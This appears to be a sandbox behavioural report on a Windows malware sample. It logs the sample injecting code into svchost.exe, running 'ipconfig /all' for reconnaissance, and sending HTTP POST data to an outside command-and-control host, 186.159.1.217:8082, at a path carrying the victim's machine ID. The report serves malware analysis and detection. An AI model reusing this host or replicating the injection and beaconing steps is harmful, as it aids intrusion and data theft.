Get Address c:\windows\system32\kernel32.dll function = Sleep, address_out = 0x76b5ba46 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WideCharToMultiByte, address_out = 0x76b6450e True 1
Fn
Get Address c:\windows\system32\user32.dll function = wsprintfW, address_out = 0x76c2426d True 1
Fn
Get Address c:\windows\system32\user32.dll function = wvsprintfA, address_out = 0x76c13c94 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = IIDFromString, address_out = 0x76ce2ff2 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoSetProxyBlanket, address_out = 0x76ce5ea5 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoCreateInstance, address_out = 0x76d19d0b True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoUninitialize, address_out = 0x76d186d3 True 1
Fn
Get Address c:\windows\system32\ole32.dll function = CoInitializeEx, address_out = 0x76d109ad True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = 9, address_out = 0x76a63eae True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = 185, address_out = 0x76a807cd True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = 94, address_out = 0x76a86ba7 True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = 6, address_out = 0x76a63e59 True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = 20, address_out = 0x76a7e173 True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = 25, address_out = 0x76a7ea56 True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = 19, address_out = 0x76a7e127 True 1
Fn
Get Address c:\windows\system32\oleaut32.dll function = 8, address_out = 0x76a63ed5 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _wtoi, address_out = 0x76f8c823 True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _snwprintf_s, address_out = 0x76f9141b True 1
Fn
Get Address c:\windows\system32\msvcrt.dll function = _vsnwprintf_s, address_out = 0x76f913b4 True 1
Fn
System (52)
»
Operation Additional Information Success Count Logfile
Sleep duration = 10000 milliseconds (10.000 seconds) True 46
Fn
Get Info type = System Directory, result_out = C:\Windows\system32 True 6
Fn
Network Behavior
TCP Sessions (1)
»
Information Value
Total Data Sent 0 bytes
Total Data Received 0 bytes
Contacted Host Count 1
Contacted Hosts 186.159.1.217
TCP Session #1
»
Information Value
Remote Address 186.159.1.217
Remote Port 8082
Local Address 192.168.0.251
Local Port 49209
Data Sent 0 bytes
Data Received 0 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = test, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = 186.159.1.217, server_port = 8082 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/90, accept_types = 0 True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data; boundary=Arasfjasu7, url = 186.159.1.217/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/90 True 1
Fn
Data
Read Response size = 127, size_out = 3 True 1
Fn
Data
Read Response size = 127, size_out = 0 True 1
Fn
Close Session - True 1
Fn
HTTP Sessions (1)
»
Information Value
Total Data Sent 378 bytes
Total Data Received 148 bytes
Contacted Host Count 1
Contacted Hosts 186.159.1.217
HTTP Session #1
»
Information Value
User Agent test
Server Name 186.159.1.217
Server Port 8082
Username -
Password -
Data Sent 378 bytes
Data Received 148 bytes
Operation Additional Information Success Count Logfile
Open Session user_agent = test, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = HTTP, server_name = 186.159.1.217, server_port = 8082 True 1
Fn
Open HTTP Request http_verb = POST, http_version = HTTP 1.1, target_resource = /tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/90, accept_types = 0 True 1
Fn
Send HTTP Request headers = Content-Type: multipart/form-data; boundary=Arasfjasu7, url = 186.159.1.217/tot478/ZGW5TDPU_W617601.1E8523426B2B0B3522CF81970B864611/90 True 1
Fn
Data
Read Response size = 127, size_out = 3 True 1
Fn
Data
Read Response size = 127, size_out = 0 True 1
Fn
Close Session - True 1
Fn
Process #43: cmd.exe
58 0
»
Information Value
ID #43
File Name c:\windows\system32\cmd.exe
Command Line /c ipconfig /all
Initial Working Directory C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\
Monitor Start Time: 00:03:38, Reason: Child Process
Unmonitor End Time: 00:03:39, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0x3ec
Parent PID 0xa70 (c:\windows\system32\svchost.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x 208
Host Behavior
File (8)
»
Operation Filename Additional Information Success Count Logfile
Get Info C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata type = file_attributes True 2
Fn
Open STD_OUTPUT_HANDLE - True 4
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Registry (17)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System - False 1
Fn
Open Key HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor - True 1
Fn
Open Key HKEY_CURRENT_USER\Software\Microsoft\Command Processor - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 136, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = CompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 64, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor value_name = AutoRun, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DisableUNCCheck, data = 64, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = EnableExtensions, data = 1, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DelayedExpansion, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = DefaultColor, data = 0, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = CompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = PathCompletionChar, data = 9, type = REG_DWORD_LITTLE_ENDIAN True 1
Fn
Read Value HKEY_CURRENT_USER\Software\Microsoft\Command Processor value_name = AutoRun, data = 9, type = REG_NONE False 1
Fn
Process (1)
»
Operation Process Additional Information Success Count Logfile
Create C:\Windows\system32\ipconfig.exe os_pid = 0xcf4, creation_flags = CREATE_EXTENDED_STARTUPINFO_PRESENT, show_window = SW_SHOWNORMAL True 1
Fn
Module (8)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\cmd.exe base_address = 0x4a590000 True 1
Fn
Get Handle c:\windows\system32\kernel32.dll base_address = 0x76b10000 True 2
Fn
Get Filename - process_name = c:\windows\system32\cmd.exe, file_name_orig = C:\Windows\system32\cmd.exe, size = 260 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetThreadUILanguage, address_out = 0x76b624c2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CopyFileExW, address_out = 0x76b4ac6c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = IsDebuggerPresent, address_out = 0x76b53ea8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleInputExeNameW, address_out = 0x76b62732 True 1
Fn
System (3)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-05-14 15:33:44 (UTC) True 1
Fn
Get Time type = Ticks, time = 11062982 True 1
Fn
Get Time type = Performance Ctr, time = 29218372871 True 1
Fn
Environment (19)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 7
Fn
Data
Get Environment String name = PATH, result_out = C:\ProgramData\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\ True 2
Fn
Get Environment String name = PATHEXT, result_out = .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC True 2
Fn
Get Environment String name = PROMPT False 1
Fn
Get Environment String name = COMSPEC, result_out = C:\Windows\system32\cmd.exe True 1
Fn
Get Environment String name = KEYS False 1
Fn
Set Environment String name = PROMPT, value = $P$G True 1
Fn
Set Environment String name = =C:, value = C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata True 1
Fn
Set Environment String name = COPYCMD True 1
Fn
Set Environment String name = =ExitCode, value = 00000000 True 1
Fn
Set Environment String name = =ExitCodeAscii True 1
Fn
Process #44: ipconfig.exe
109 0
»
Information Value
ID #44
File Name c:\windows\system32\ipconfig.exe
Command Line ipconfig /all
Initial Working Directory C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\
Monitor Start Time: 00:03:38, Reason: Child Process
Unmonitor End Time: 00:03:39, Reason: Self Terminated
Monitor Duration 00:00:01
OS Process Information
»
Information Value
PID 0xcf4
Parent PID 0x3ec (c:\windows\system32\cmd.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x CF0
0x CC0
0x CBC
0x D14
0x D28
0x D24
Host Behavior
COM (1)
»
Operation Class Interface Additional Information Success Count Logfile
Create EB082BA1-DF8A-46BE-82F3-35BF9E9BE52F 432A1DA5-3888-4B9A-A734-CFF1E448C5B9 cls_context = CLSCTX_INPROC_SERVER, CLSCTX_INPROC_HANDLER True 1
Fn
File (91)
»
Operation Filename Additional Information Success Count Logfile
Get Info STD_OUTPUT_HANDLE type = file_type True 30
Fn
Open STD_OUTPUT_HANDLE - True 31
Fn
Write STD_OUTPUT_HANDLE size = 30 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 49 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 41 True 3
Fn
Data
Write STD_OUTPUT_HANDLE size = 47 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 43 True 3
Fn
Data
Write STD_OUTPUT_HANDLE size = 45 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 80 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 58 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 44 True 3
Fn
Data
Write STD_OUTPUT_HANDLE size = 81 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 66 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 54 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 73 True 2
Fn
Data
Write STD_OUTPUT_HANDLE size = 52 True 3
Fn
Data
Write STD_OUTPUT_HANDLE size = 50 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 82 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 48 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 67 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 59 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 65 True 1
Fn
Data
Write STD_OUTPUT_HANDLE size = 64 True 1
Fn
Data
Registry (4)
»
Operation Key Additional Information Success Count Logfile
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters\Interfaces\{D303B40D-CBB0-4CD4-933A-0697F06EA7C1} - True 1
Fn
Open Key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{D303B40D-CBB0-4CD4-933A-0697F06EA7C1} - True 1
Fn
Read Value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip6\Parameters\Interfaces\{D303B40D-CBB0-4CD4-933A-0697F06EA7C1} value_name = Dhcpv6ClassId, data = 1, type = REG_NONE False 1
Fn
Read Value HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{D303B40D-CBB0-4CD4-933A-0697F06EA7C1} value_name = DhcpClassId, data = 1, type = REG_NONE False 1
Fn
Module (1)
»
Operation Module Additional Information Success Count Logfile
Get Handle c:\windows\system32\ipconfig.exe base_address = 0xa30000 True 1
Fn
Service (3)
»
Operation Additional Information Success Count Logfile
Get Info service_name = NapAgent True 1
Fn
Open database_name = ServicesActive True 1
Fn
Open Manager database_name = ServicesActive True 1
Fn
System (9)
»
Operation Additional Information Success Count Logfile
Get Computer Name result_out = ZgW5tdPu, type = ComputerNameDnsHostname True 1
Fn
Get Computer Name type = ComputerNameDnsDomain True 1
Fn
Get Time type = System Time, time = 2019-05-14 15:33:44 (UTC) True 3
Fn
Get Time type = Ticks, time = 11063107 True 1
Fn
Get Time type = Performance Ctr, time = 29239068005 True 1
Fn
Get Network Adapter Info - False 1
Fn
Get Network Adapter Info - True 1
Fn
Process #45: svchost.exe
140 1
»
Information Value
ID #45
File Name c:\windows\system32\svchost.exe
Command Line svchost.exe
Initial Working Directory C:\Users\2XC7u663GxWc\AppData\Roaming\chromedata\
Monitor Start Time: 00:03:45, Reason: Child Process
Unmonitor End Time: 00:04:16, Reason: Terminated by Timeout
Monitor Duration 00:00:31
OS Process Information
»
Information Value
PID 0xb28
Parent PID 0x214 (c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level Medium
Username ZGW5TDPU\2XC7u663GxWc
Enabled Privileges SeChangeNotifyPrivilege
Thread IDs
0x B38
0x B58
0x B68
0x B7C
0x B80
0x BFC
0x C04
0x A04
0x D40
Injection Information
»
Injection Type Source Process Source Os Thread ID Information Success Count Logfile
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x50000, size = 367 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x60000, size = 112 True 50
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x602104, size = 12 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10000000, size = 1024 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10001000, size = 11264 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004000, size = 4608 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10006000, size = 1036 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10006000, size = 512 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10007000, size = 1024 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 22 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0xe0000, size = 12 True 7
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 16 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040a0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 26 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004000, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 24 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 17 True 5
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0xe0000, size = 16 True 36
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004084, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004088, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000408c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004090, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 14 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004094, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 20 True 6
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004098, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 6 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004008, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 21 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000400c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 19 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004010, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004014, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004018, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 13 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000401c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 12 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004020, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 9 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004024, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 11 True 2
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004028, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000402c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004030, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 15 True 4
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004034, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004038, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000403c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 10 True 3
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004040, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004044, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004048, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000404c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004050, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004054, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004058, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000405c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004060, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004064, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 25 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004068, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000406c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1000407c, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040a8, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040ac, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x100040b0, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x10004074, size = 4 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x20000, size = 8 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0xe0000, size = 1024 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x130000, size = 388 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x140000, size = 40 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0xe0000, size = 8 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x140000, size = 747 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x150000, size = 1024 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1a0000, size = 128 True 1
Fn
Data
Modify Memory #24: c:\users\2xc7u663gxwc\appdata\roaming\chromedata\tadiapce.exe 0x264 address = 0x1c0000, size = 44 True 1
Fn
Data
Host Behavior
Module (50)
»
Operation Module Additional Information Success Count Logfile
Load WS2_32.dll base_address = 0x75a90000 True 1
Fn
Load ACTIVEDS.dll base_address = 0x6eb70000 True 1
Fn
Load WININET.dll base_address = 0x77230000 True 1
Fn
Load KERNEL32.dll base_address = 0x76b10000 True 1
Fn
Load USER32.dll base_address = 0x76c00000 True 1
Fn
Load ole32.dll base_address = 0x76cd0000 True 1
Fn
Load OLEAUT32.dll base_address = 0x76a60000 True 1
Fn
Get Handle c:\windows\system32\msvcrt.dll base_address = 0x76f80000 True 1
Fn
Get Address c:\windows\system32\ws2_32.dll function = 115, address_out = 0x75a93ab2 True 1
Fn
Get Address c:\windows\system32\activeds.dll function = 9, address_out = 0x6eb716e6 True 1
Fn
Get Address c:\windows\system32\wininet.dll function = HttpSendRequestW, address_out = 0x7725ba12 True 1
Fn
Get Address c:\windows\system32\wininet.dll function = InternetConnectW, address_out = 0x7725492c True 1
Fn
Get Address c:\windows\system32\wininet.dll function = HttpOpenRequestW, address_out = 0x77254a42 True 1
Fn
Get Address c:\windows\system32\wininet.dll function = InternetReadFile, address_out = 0x7724b406 True 1
Fn
Get Address c:\windows\system32\wininet.dll function = InternetOpenW, address_out = 0x77259197 True 1
Fn
Get Address c:\windows\system32\wininet.dll function = InternetCloseHandle, address_out = 0x7724ab49 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = Sleep, address_out = 0x76b5ba46 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = EnterCriticalSection, address_out = 0x773777a0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = SetConsoleOutputCP, address_out = 0x76bbe210 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = WideCharToMultiByte, address_out = 0x76b6450e True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = DeleteCriticalSection, address_out = 0x77389ac5 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CreateThread, address_out = 0x76b6375d True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = CloseHandle, address_out = 0x76b5ca7c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcpyA, address_out = 0x76b59793 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapCreate, address_out = 0x76b63ea2 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetModuleHandleA, address_out = 0x76b5cf41 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LoadLibraryA, address_out = 0x76b6395c True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcAddress, address_out = 0x76b633d3 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapFree, address_out = 0x76b5bbd0 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrlenW, address_out = 0x76b5d9e8 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrcpynW, address_out = 0x76b76118 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = MultiByteToWideChar, address_out = 0x76b6452b True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapAlloc, address_out = 0x77382dd6 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = GetProcessHeap, address_out = 0x76b61280 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = lstrlenA, address_out = 0x76b5a611 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = HeapReAlloc, address_out = 0x7739ff51 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = ExitThread, address_out = 0x7735f611 True 1
Fn
Get Address c:\windows\system32\kernel32.dll function = LeaveCriticalSection, address_out = 0x77377760 True 1
Fn
